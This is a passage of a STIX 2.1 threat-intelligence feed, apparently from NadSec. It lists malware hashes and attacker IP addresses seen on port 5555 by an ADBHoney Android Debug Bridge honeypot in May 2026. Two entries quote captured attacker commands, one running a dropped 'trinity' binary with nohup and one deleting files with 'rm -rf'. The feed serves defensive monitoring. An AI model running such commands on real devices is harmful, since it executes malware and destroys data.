      "id": "indicator--4d5dfcb2-ee82-4560-8804-f5e838e5849f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '6257c5693b0768470c5a1a0ea7c8efa9feb6dcda395ea8c768fef11b458ee7ea']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T15:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-09T14:32:09.000Z | last_seen=2026-05-09T14:42:15.427Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:00:05.000Z",
      "valid_until": "2026-06-10T15:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-09T14:32:09.000Z",
          "last_seen": "2026-05-09T14:42:15.427Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T15:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-09T14:30:11.000Z | last_seen=2026-05-09T14:31:13.473Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--7c5cd45b-21f5-4509-8add-4624372b32c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:00:05.000Z",
      "valid_until": "2026-06-10T15:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-09T14:30:11.000Z",
          "last_seen": "2026-05-09T14:31:13.473Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-09T15:49:26.000Z | last_seen=2026-05-09T15:50:27.062Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3cf770d5-f243-438f-82ce-80499fde3507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.33.41.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:00:02.000Z",
      "valid_until": "2026-06-10T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-09T15:49:26.000Z",
          "last_seen": "2026-05-09T15:50:27.062Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-09T15:49:27.000Z | last_seen=2026-05-09T15:50:34.056Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--43f735c7-92f9-4d00-9ff1-d630534ad600",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.175.220.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:00:02.000Z",
      "valid_until": "2026-06-10T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-09T15:49:27.000Z",
          "last_seen": "2026-05-09T15:50:34.056Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T17:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=DE; asn=215607; asn_org=dataforest GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=24 | first_seen=2026-05-09T16:15:32.000Z | last_seen=2026-05-09T16:25:48.161Z | ports=5555 | cc=DE | asn=215607 | org=dataforest GmbH",
      "id": "indicator--08cc1820-4810-49df-a772-f60ec228f9b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:00:10.000Z",
      "valid_until": "2026-06-10T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 24,
          "first_seen": "2026-05-09T16:15:32.000Z",
          "last_seen": "2026-05-09T16:25:48.161Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215607"
          ],
          "org": [
            "dataforest GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T18:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=63; ports=5555; cc=CN; asn=17623; asn_org=China Unicom Shenzen network; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=63 | first_seen=2026-05-09T17:14:06.000Z | last_seen=2026-05-09T17:27:21.692Z | ports=5555 | cc=CN | asn=17623 | org=China Unicom Shenzen network | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--91b31b0d-74e1-41e4-8ec7-19ca8048db04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.95.208.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:00:05.000Z",
      "valid_until": "2026-06-10T18:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 63,
          "first_seen": "2026-05-09T17:14:06.000Z",
          "last_seen": "2026-05-09T17:27:21.692Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "17623"
          ],
          "org": [
            "China Unicom Shenzen network"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T19:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-09T18:45:06.000Z | last_seen=2026-05-09T18:46:12.405Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--c64ff629-626b-47aa-88dd-88895773959a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:00:10.000Z",
      "valid_until": "2026-06-10T19:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-09T18:45:06.000Z",
          "last_seen": "2026-05-09T18:46:12.405Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T19:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-09T18:08:13.000Z | last_seen=2026-05-09T18:09:14.879Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--8f5586f5-c15f-4cc8-b197-43ff3b6e8f21",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.143.186.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:00:10.000Z",
      "valid_until": "2026-06-10T19:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-09T18:08:13.000Z",
          "last_seen": "2026-05-09T18:09:14.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-10T00:53:56.000Z | last_seen=2026-05-10T00:55:02.560Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--960f08b0-4db9-4e74-a62f-493560122e79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.71.113.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:00:04.000Z",
      "valid_until": "2026-06-11T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-10T00:53:56.000Z",
          "last_seen": "2026-05-10T00:55:02.560Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=42; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; adb_cmd_hits=17; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-05. events=42 | first_seen=2026-05-10T01:44:36.000Z | last_seen=2026-05-10T01:59:44.217Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
      "id": "indicator--4cc7e54d-c6a1-49a8-a1dc-d655cca9e729",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.203.137.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:00:02.000Z",
      "valid_until": "2026-06-11T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 42,
          "first_seen": "2026-05-10T01:44:36.000Z",
          "last_seen": "2026-05-10T01:59:44.217Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=49 | first_seen=2026-05-10T01:15:08.000Z | last_seen=2026-05-25T04:46:48.593Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:00:02.000Z",
      "valid_until": "2026-06-11T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 49,
          "first_seen": "2026-05-10T01:15:08.000Z",
          "last_seen": "2026-05-25T04:46:48.593Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-10T01:38:07.000Z | last_seen=2026-05-10T01:39:12.985Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--5e09c38e-d42d-4262-8043-b0de6740a2c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.89.84.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:00:02.000Z",
      "valid_until": "2026-06-11T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-10T01:38:07.000Z",
          "last_seen": "2026-05-10T01:39:12.985Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=MO; asn=61112; asn_org=AKILE LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-10T01:23:14.000Z | last_seen=2026-05-10T11:04:08.976Z | ports=5555 | cc=MO | asn=61112 | org=AKILE LTD",
      "id": "indicator--fe3cc32f-3050-4378-849f-dd37d5d7b5ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.202.247.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:00:02.000Z",
      "valid_until": "2026-06-11T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-10T01:23:14.000Z",
          "last_seen": "2026-05-10T11:04:08.976Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MO"
          ],
          "asn": [
            "61112"
          ],
          "org": [
            "AKILE LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=MO; asn=61112; asn_org=AKILE LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-10T01:06:37.000Z | last_seen=2026-05-10T01:07:39.052Z | ports=5555 | cc=MO | asn=61112 | org=AKILE LTD",
      "id": "indicator--6aaf8fc2-8e4e-45a0-b75e-fcaf50fd40dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.207.34.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:00:02.000Z",
      "valid_until": "2026-06-11T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-10T01:06:37.000Z",
          "last_seen": "2026-05-10T01:07:39.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MO"
          ],
          "asn": [
            "61112"
          ],
          "org": [
            "AKILE LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-10T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-10T02:39:39.000Z | last_seen=2026-05-10T02:50:24.914Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9907f80c-4f6d-4371-a04e-9ee9faef54ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '209.97.180.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:00:02.000Z",
      "valid_until": "2026-06-11T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-10T02:39:39.000Z",
          "last_seen": "2026-05-10T02:50:24.914Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
